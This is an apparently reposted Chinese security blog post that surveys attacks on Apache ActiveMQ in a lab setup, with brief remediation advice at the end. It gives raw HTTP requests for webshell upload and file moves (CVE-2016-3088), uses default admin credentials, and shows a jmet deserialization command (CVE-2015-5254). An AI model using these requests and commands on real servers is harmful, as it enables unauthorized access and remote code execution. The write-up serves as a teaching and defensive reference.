内容简介:[应用安全]之ActiveMQ漏洞利用方法总结
应用介绍
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯 Java 程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。 ActiveMQ 是一个完全支持 JMS1.1 和 J2EE 1.4 规范的 JMSProvider 实现,尽管 JMS 规范出台已经是很久的事情了,但是 JMS 在当今的 J2EE 应用中间仍然扮演着特殊的地位。
漏洞利用
ActiveMQ可以多种利用方式,但是绝大部分提及都是比较单一的利用方式。
环境:Apache ActiveMQ 5.7.0
IP:192.168.197.25
1、Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)
ActiveMQ默认使用8161端口,使用nmap对目标服务器进行扫描:
[<a href="/cdn-cgi/l/email-protection" data-cfemail="15677a7a6155797a7674797d7a6661">[email protected]</a> src]# nmap -A -p8161 192.168.197.25 \ Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized
2、ActiveMQ物理路径泄漏漏洞
ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:
Request Raw: PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4 test
Response Raw: HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910)
3 、 ActiveMQ PUT 任意文件上传漏洞
ActiveMQ 默认开启 PUT 方法,当 fileserver 存在时我们可以上传 jspwebshell 。
Request Raw: PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code.
Response Raw: HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)
一般构造返回 204 响应码即为成功,笔者测试其他环境为不可 put 时,返回为 404 或 500 。 put 完成,我们查看 service 下的信息:
[<a href="/cdn-cgi/l/email-protection" data-cfemail="e5978a8a91a5898a8684898d8a9691">[email protected]</a> fileserver]# pwd /data/apache-activemq-5.7.0/webapps/fileserver [<a href="/cdn-cgi/l/email-protection" data-cfemail="86f4e9e9f2c6eae9e5e7eaeee9f5f2">[email protected]</a> fileserver]# ls index.html META-INF shell.jsp WEB-INF [<a href="/cdn-cgi/l/email-protection" data-cfemail="cfbda0a0bb8fa3a0acaea3a7a0bcbb">[email protected]</a> fileserver]# cat shell.jsp this is jsp webshell code. [<a href="/cdn-cgi/l/email-protection" data-cfemail="23514c4c57634f4c40424f4b4c5057">[email protected]</a> fileserver]#
4、ActiveMQ任意文件文件移动漏洞
ActiveMQ除了支持PUT协议之外,还支持MOVE协议。
Request Raw: MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0
Response Raw: HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)
服务器信息如下:
[<a href="/cdn-cgi/l/email-protection" data-cfemail="addfc2c2d9edc1c2ceccc1c5c2ded9">[email protected]</a> fileserver]# ls index.html META-INF shell.jsp WEB-INF [<a href="/cdn-cgi/l/email-protection" data-cfemail="7b0914140f3b1714181a171314080f">[email protected]</a> fileserver]# cat shell.jsp this is jsp webshell code. [<a href="/cdn-cgi/l/email-protection" data-cfemail="13617c7c67537f7c70727f7b7c6067">[email protected]</a> fileserver]# ls index.html META-INF shell.jsp WEB-INF [<a href="/cdn-cgi/l/email-protection" data-cfemail="afddc0c0dbefc3c0cccec3c7c0dcdb">[email protected]</a> fileserver]# ls index.html META-INF WEB-INF [<a href="/cdn-cgi/l/email-protection" data-cfemail="1765787863577b7874767b7f786463">[email protected]</a> fileserver]# cd .. [<a href="/cdn-cgi/l/email-protection" data-cfemail="1e6c71716a5e72717d7f7276716d6a">[email protected]</a> webapps]# ls admin demo favicon.ico fileserver index.html styles [<a href="/cdn-cgi/l/email-protection" data-cfemail="1f6d70706b5f73707c7e7377706c6b">[email protected]</a> webapps]# cd admin/ [<a href="/cdn-cgi/l/email-protection" data-cfemail="beccd1d1cafed2d1dddfd2d6d1cdca">[email protected]</a> admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [<a href="/cdn-cgi/l/email-protection" data-cfemail="e99b86869da985868a888581869a9d">[email protected]</a> admin]#
同理,写ssh key一样,在此不再重复造轮子。
影响版本:Apache ActiveMQ 5.x ~ 5.14.0
CVE信息:CVE-2016-3088
4. ActiveMQ 反序列化漏洞 (CVE-2015-5254)
ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口。
其中存在一下小的细节问题:
-
工具releaes的为JDK 1.7,如果自己build可无视
-
使用 工具 需要在当前目录下创建一个external目录,否则会出现NoSuchFileException
通过构造payload,向队列发送反序列化数据到消息队列中。
(工具下载地址: https://github.com/matthiaskaiser/jmet )
[<a href="/cdn-cgi/l/email-protection" data-cfemail="592b36362d192a3c2f3a32">[email protected]</a>_v3 ~]# java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1
查看消息队列触发:
服务器监听:
注:如果反弹不成功可能的原因是JAVA Runtime.getRuntime().exec()中不能使用管道符,需要进行一次编码
推荐工具: http://jackson.thuraisamy.me/runtime-exec-payloads.html
影响版本: Apache ActiveMQ 5.13.0 的版本之前的存在反序列化漏洞
CVE 信息 : CVE-2015-5254
5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)
在最新的版本中 apache-activemq-5.15.0 toapache-activemq-5.15.2 和 apache-activemq-5.14.0to apache-activemq-5.14.5 中 61616 默认使用了 OpenWire 协议,开启了 debug 模式, debug 模式会泄漏操作系统相关信息
影响版本:Apache ActiveMQ5.14.0 – 5.15.2
CVE信息: CVE-2017-15709
修复建议:
-
针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可
-
针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可
-
针对反序列化漏洞,建议升级到最新版本,或WAF添加相关规则进行拦截
-
针对信息泄漏漏洞,启用TLS传输或升级到 Apache ActiveMQ 的 5.14.6 或 5.15.3 以上版本
以上所述就是小编给大家介绍的《[应用安全]之ActiveMQ漏洞利用方法总结》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Java RMI漏洞利用
- Firefox漏洞利用研究(一)
- phpcms网站漏洞修复之远程代码写入缓存漏洞利用
- 2018最新PHP漏洞利用技巧
- LearnX控件漏洞挖掘与利用
- Nday 漏洞从挖掘到利用
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Text Processing in Python
David Mertz / Addison-Wesley Professional / 2003-6-12 / USD 54.99
Text Processing in Python describes techniques for manipulation of text using the Python programming language. At the broadest level, text processing is simply taking textual information and doing som......一起来看看 《Text Processing in Python》 这本书的介绍吧!